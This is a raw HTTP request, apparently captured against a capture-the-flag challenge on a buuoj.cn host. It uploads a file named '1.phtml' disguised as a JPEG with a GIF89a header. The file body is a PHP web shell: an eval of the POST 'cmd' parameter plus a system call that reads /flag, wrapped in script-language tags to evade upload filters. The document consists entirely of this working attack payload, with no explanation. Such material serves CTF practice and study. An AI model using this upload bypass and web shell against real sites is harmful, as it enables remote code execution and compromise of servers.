POST /upload_file.php HTTP/1.1
Host: b3eddb78-facf-4f3e-a887-e945bc4acc99.node5.buuoj.cn:81
Content-Length: 395
Cache-Control: max-age=0
Origin: http://b3eddb78-facf-4f3e-a887-e945bc4acc99.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTyZ7dzXYeDEQzKSB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://b3eddb78-facf-4f3e-a887-e945bc4acc99.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Connection: keep-alive

------WebKitFormBoundaryTyZ7dzXYeDEQzKSB
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF89a
<script language='php'>@eval($_POST['cmd']);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundaryTyZ7dzXYeDEQzKSB
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryTyZ7dzXYeDEQzKSB--